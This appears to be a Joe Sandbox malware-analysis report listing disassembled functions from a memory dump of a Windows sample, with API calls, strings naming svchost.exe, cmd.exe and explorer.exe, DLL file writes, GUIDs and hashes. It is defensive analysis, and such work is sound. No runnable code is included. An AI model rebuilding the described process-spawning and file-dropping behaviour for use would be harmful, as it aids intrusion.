Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: Free$CloseHandleLocal$EventTask$AllocCreateFileFolderKnownObjectOpenPathSingleWait__snwprintf
String ID: %s\%s${D827D600-80D1-4C2D-8EEC-3155ACB9C3F3}
API String ID: 1432346771-583052920
Opcode ID: 4b20c31061faa825e99a06feab42785393b5d641c78a387ce553ba9c9c6399b4
Instruction ID: 8181618d6d11b8e4c436ee1ceaf337ef5d17878684d71d0fb752914d75caba28
Opcode Fuzzy Hash: 4b20c31061faa825e99a06feab42785393b5d641c78a387ce553ba9c9c6399b4
Instruction Fuzzy Hash: 0131DEB0A14305FBDB209BE8EC4EBADBBB8AB44310F108656F610A62D4C7749A80DB10

Function 0092B860 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 124COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0092B880
_memset.LIBCMT ref: 0092B8BB
_memset.LIBCMT ref: 0092B8F4
_memset.LIBCMT ref: 0092B92D
__snwprintf.LIBCMT ref: 0092B94D
_memset.LIBCMT ref: 0092B96C
__snwprintf.LIBCMT ref: 0092B98C
_memset.LIBCMT ref: 0092B9AB
__snwprintf.LIBCMT ref: 0092B9CB
StrCmpIW.SHLWAPI(?,?), ref: 0092B9E1
StrCmpIW.SHLWAPI(?,?), ref: 0092B9F9
StrCmpIW.SHLWAPI(?,?), ref: 0092BA11

Strings

%s\svchost.exe, xrefs: 0092B97B
%s\cmd.exe, xrefs: 0092B9BA
%s\explorer.exe, xrefs: 0092B93C

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: _memset$__snwprintf
String ID: %s\cmd.exe$%s\explorer.exe$%s\svchost.exe
API String ID: 4292121385-2596767422
Opcode ID: b7c5cd16d3f01d0f212170657bb43716cb1f5e6d06a2197e1e4a754c3b58b3ea
Instruction ID: 91b2eed1793a8aa3a4e511ac556c6e8572461766fa6dd28ffaf02c5a78344bf7
Opcode Fuzzy Hash: b7c5cd16d3f01d0f212170657bb43716cb1f5e6d06a2197e1e4a754c3b58b3ea
Instruction Fuzzy Hash: 3741A875A6031866D760E7709C46FEA73B86F88700F448599B61CE60C1FBB19B94CB91

Function 00922250 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 131processmemorysynchronizationCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00922314
GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00922328
_memset.LIBCMT ref: 0092234B
LocalAlloc.KERNEL32(00000040,?), ref: 0092239E
__snwprintf.LIBCMT ref: 009223D1
CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000044,00000000), ref: 00922401
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00922415
CloseHandle.KERNEL32(00000000), ref: 00922422
CloseHandle.KERNEL32(?), ref: 0092242F
LocalFree.KERNEL32(00000000), ref: 0092243C
LocalFree.KERNEL32(00000000), ref: 00922449
LocalFree.KERNEL32(00000000), ref: 00922467

Strings

D, xrefs: 00922371

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: Local$Free$CloseHandle_memset$AllocCreateDirectoryObjectProcessSingleSystemWait__snwprintf
String ID: D
API String ID: 4061984843-2746444292
Opcode ID: 941c3133935c56cb8d73a0c2ef13431e53418c910216ebbfa1c0ff7372192164
Instruction ID: 613296000b2e54e4d28f542af547d0aa294032e80b75a303c4dfb9ea7fe90233
Opcode Fuzzy Hash: 941c3133935c56cb8d73a0c2ef13431e53418c910216ebbfa1c0ff7372192164
Instruction Fuzzy Hash: A85170B0A15228EFEB24DF54DD48BDAB7B8AF49304F0045D9E209AA284D7B45FC4CF55

Function 0093BB20 Relevance: 21.3, APIs: 6, Strings: 6, Instructions: 260COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32 ref: 0093BE75

Strings

{116CB32B-CA1E-4E75-8750-5F8DFAEAF5A6}, xrefs: 0093BCC4, 0093BCE8
{79AAF077-37FE-4D7E-B956-7886E5902558}, xrefs: 0093BC82, 0093BCA6
KERNEL32.DLL, xrefs: 0093BB3D
{90CA5DAB-A40E-4E50-9755-11BEEF1B67F8}, xrefs: 0093BB26
{31D5D6FC-531F-4F51-88B8-2A46318EDC55}, xrefs: 0093BD06, 0093BD2A
{21AA2932-B56E-4A88-96A8-ED25B3407693}, xrefs: 0093BBC0

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: KERNEL32.DLL${116CB32B-CA1E-4E75-8750-5F8DFAEAF5A6}${21AA2932-B56E-4A88-96A8-ED25B3407693}${31D5D6FC-531F-4F51-88B8-2A46318EDC55}${79AAF077-37FE-4D7E-B956-7886E5902558}${90CA5DAB-A40E-4E50-9755-11BEEF1B67F8}
API String ID: 621844428-194826558
Opcode ID: 72f0f89ef75deed0c85f4142d40502ab7e114eccbebac0d522fa13912ef73c3c
Instruction ID: 249db1282e6c6439cde84436c01c1f5ce79b3cefc3d6f78bd38b3af6ac1dcf10
Opcode Fuzzy Hash: 72f0f89ef75deed0c85f4142d40502ab7e114eccbebac0d522fa13912ef73c3c
Instruction Fuzzy Hash: C891B2B0A48318EBEF30EFE9DC85BAD76B8EB54719F204516E310661C0DBB49940DF62

Function 00929400 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 133filememoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00926D26,?,00926D8A,00000000,00000000,?), ref: 00929416
_memmove.LIBCMT ref: 00929435
StrStrIW.SHLWAPI(?,.DLL), ref: 00929511
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000002,00000000,00000000), ref: 0092953C
WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 00929569
CloseHandle.KERNEL32(?), ref: 00929581
LocalFree.KERNEL32(00000000), ref: 0092958B
CloseHandle.KERNEL32(?), ref: 0092959F
LocalFree.KERNEL32(00000000), ref: 009295C9

Strings

.DLL, xrefs: 00929505

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: Local$CloseFileFreeHandle$AllocCreateWrite_memmove
String ID: .DLL
API String ID: 3658969158-899428287
Opcode ID: f85898295c4ab6604919d13813b3db70665ff06bcdcdd350e1a6fe6f0c7d4bb5
Instruction ID: 8134fe3d35a09fcdd24ad838a851038051c6cbd090f7eb93df704af02e0f2258
Opcode Fuzzy Hash: f85898295c4ab6604919d13813b3db70665ff06bcdcdd350e1a6fe6f0c7d4bb5
Instruction Fuzzy Hash: 30513DB5A14218EBCB25DF98DC44FDD77B5AB8C300F108599F649A7290C774DA809F64

Function 0092BB80 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,0093BC7D), ref: 0092BB8D
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0092BBA7
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0092BBC1
GetModuleFileNameW.KERNEL32(00000000,00000000,00007FFF), ref: 0092BBDF
__snwprintf.LIBCMT ref: 0092BC0E
LocalFree.KERNEL32(00000000), ref: 0092BC2C
LocalFree.KERNEL32(00000000), ref: 0092BC36
LocalFree.KERNEL32(00000000), ref: 0092BC40
LocalFree.KERNEL32(00000000), ref: 0092BC51
LocalFree.KERNEL32(00000000), ref: 0092BC5B
LocalFree.KERNEL32(00000000), ref: 0092BC65

Strings

%s\explorer.exe, xrefs: 0092BC00

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
